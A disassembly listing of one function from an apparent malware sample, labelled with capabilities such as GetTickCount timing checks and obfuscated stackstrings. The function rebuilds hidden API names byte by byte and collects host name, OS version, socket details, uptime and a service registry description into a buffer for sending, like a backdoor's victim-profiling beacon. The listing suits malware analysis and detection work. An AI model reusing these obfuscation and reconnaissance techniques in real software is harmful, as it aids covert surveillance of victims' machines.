Function at 0x408270
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x534
push ebx
push ebp
push esi
lea eax, [esp + 0x18]
push edi
mov bl, 0x65
push eax
lea ecx, [esp + 0x74]
mov byte [esp + 0xe4], 0x66
mov byte [esp + 0x20], 0x67
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0x68
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], 0x73
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0x61
mov byte [esp + 0x29], 0x6d
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0
call fcn.00417720
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [esp + 0x28]
mov esi, eax
push ecx
lea ecx, [esp + 0x74]
mov byte [esp + 0x2c], 0x47
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x2f], 0x56
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x72
mov byte [esp + 0x32], 0x73
mov byte [esp + 0x33], 0x69
mov byte [esp + 0x34], 0x6f
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x45
mov byte [esp + 0x37], 0x78
mov byte [esp + 0x38], 0x41
mov byte [esp + 0x39], 0
call fcn.00417640
push eax
call edi
lea edx, [esp + 0x10]
lea ecx, [esp + 0x70]
push edx
mov ebp, eax
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x73
mov byte [esp + 0x18], 0x6f
mov byte [esp + 0x19], 0x63
mov byte [esp + 0x1a], 0x6b
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1c], 0x61
mov byte [esp + 0x1d], 0x6d
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0
call fcn.00417720
push eax
call edi
mov dword [esp + 0x74], eax
lea eax, [esp + 0xe4]
push eax
mov byte [esp + 0x1d2], 0
mov dword [esp + 0xe8], 0x9c
call ebp
lea ecx, [esp + 0x444]
push 0x100
push ecx
call esi
call fcn.00408210
mov byte [esp + 0x1ce], al
call fcn.00407880
lea edx, [esp + 0x26a]
push 0x427414
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x550]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x42991c
lea ecx, [esp + 0x205]
push 0x427410
push ecx
mov dword [esp + 0x240], eax
call esi
add esp, 0xc
call fcn.00407fa0
lea edx, [esp + 0x27c]
mov dword [esp + 0x180], eax
push edx
mov dword [esp + 0x280], 0x9c
call ebp
cmp dword [esp + 0x280], 5
jne 0x408445
mov eax, dword [esp + 0x284]
test eax, eax
jne 0x408445
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x184]
push 0x42740c
push eax
call ebp
jmp 0x4084c4
lea ecx, [esp + 0x38]
mov byte [esp + 0x38], 0x47
push ecx
lea ecx, [esp + 0x74]
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x74
mov byte [esp + 0x3f], 0x53
mov byte [esp + 0x40], 0x79
mov byte [esp + 0x41], 0x73
mov byte [esp + 0x42], 0x74
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], 0x6d
mov byte [esp + 0x45], 0x49
mov byte [esp + 0x46], 0x6e
mov byte [esp + 0x47], 0x66
mov byte [esp + 0x48], 0x6f
mov byte [esp + 0x49], 0
call fcn.00417640
push eax
call edi
lea edx, [esp + 0xbc]
push edx
call eax
mov eax, dword [esp + 0xd0]
lea ecx, [esp + 0x184]
push eax
push 0x427408
push ecx
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, 0x31b5d43b
imul edi
sar edx, 0x18
mov eax, edx
lea ecx, [esp + 0x318]
shr eax, 0x1f
add edx, eax
push edx
push 0x427408
push ecx
call esi
mov eax, edi
mov ecx, 0x5265c00
cdq
idiv ecx
mov eax, 0x4a90be59
lea ecx, [esp + 0x3ec]
mov edi, edx
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push 0x427408
push ecx
call esi
mov eax, edi
mov ecx, 0x36ee80
cdq
idiv ecx
mov eax, 0x45e7b273
lea ecx, [esp + 0x394]
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push 0x427408
push ecx
call esi
lea edx, [esp + 0x3a0]
lea eax, [esp + 0x404]
push edx
lea ecx, [esp + 0x340]
push eax
push ecx
lea edx, [esp + 0x1ff]
push 0x4273f8
push edx
call esi
mov cl, 0x43
mov al, 0x5c
mov byte [esp + 0x87], cl
mov byte [esp + 0x8e], cl
mov cl, 0x54
mov byte [esp + 0xc4], 0
mov byte [esp + 0x80], 0x53
mov byte [esp + 0x81], 0x79
mov byte [esp + 0x82], 0x53
mov byte [esp + 0x83], 0x74
mov byte [esp + 0x84], 0x45
mov byte [esp + 0x85], 0x4d
mov byte [esp + 0x86], al
mov byte [esp + 0x88], 0x75
mov byte [esp + 0x89], 0x72
mov byte [esp + 0x8a], 0x72
mov byte [esp + 0x8b], bl
mov byte [esp + 0x8c], 0x4e
mov byte [esp + 0x8d], 0x74
mov byte [esp + 0x8f], 0x6f
mov byte [esp + 0x90], 0x6e
mov byte [esp + 0x91], cl
mov byte [esp + 0x92], 0x72
mov byte [esp + 0x93], 0x6f
mov byte [esp + 0x94], 0x4c
mov byte [esp + 0x95], 0x53
mov byte [esp + 0x96], bl
mov byte [esp + 0x98], al
mov byte [esp + 0xa1], al
push 0
push 0x30
lea eax, [esp + 0xcc]
push 0
mov byte [esp + 0xb1], cl
push eax
push 1
lea ecx, [esp + 0x94]
push str.Description
push ecx
push 0x80000002
mov byte [esp + 0xb7], 0x74
mov byte [esp + 0xb9], 0x53
mov byte [esp + 0xba], bl
mov byte [esp + 0xbb], 0x72
mov byte [esp + 0xbc], 0x76
mov byte [esp + 0xbd], 0x69
mov byte [esp + 0xbe], 0x63
mov byte [esp + 0xbf], bl
mov byte [esp + 0xc0], 0x73
mov byte [esp + 0xc2], 0x53
mov byte [esp + 0xc3], 0x48
mov byte [esp + 0xc4], 0x49
mov byte [esp + 0xc6], 0
call fcn.004168a0
mov al, byte [esp + 0xe4]
add esp, 0x58
test al, al
jne 0x4086ee
mov edx, dword [esp + 0x554]
lea eax, [esp + 0x238]
push edx
push eax
jmp 0x4086fe
lea ecx, [esp + 0x8c]
lea edx, [esp + 0x238]
push ecx
push edx
call ebp
mov ebx, dword [esp + 0x54c]
xor eax, eax
mov dword [esp + 0x7c], eax
lea ecx, [esp + 0x78]
mov dword [esp + 0x80], eax
lea edx, [esp + 0x7c]
mov dword [esp + 0x84], eax
push ecx
mov dword [esp + 0x8c], eax
mov eax, dword [ebx + 0xa8]
push edx
push eax
mov dword [esp + 0x84], 0x10
call dword [esp + 0x80]
mov ecx, dword [esp + 0x80]
lea esi, [esp + 0x444]
mov dword [esp + 0x198], ecx
mov ecx, 0xc
lea edi, [esp + 0x19c]
lea edx, [esp + 0xe0]
rep movsd dword es:[edi], dword [esi]
push 0x19c
push edx
mov ecx, ebx
movsw word es:[edi], word [esi]
call fcn.00415c90
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x534
ret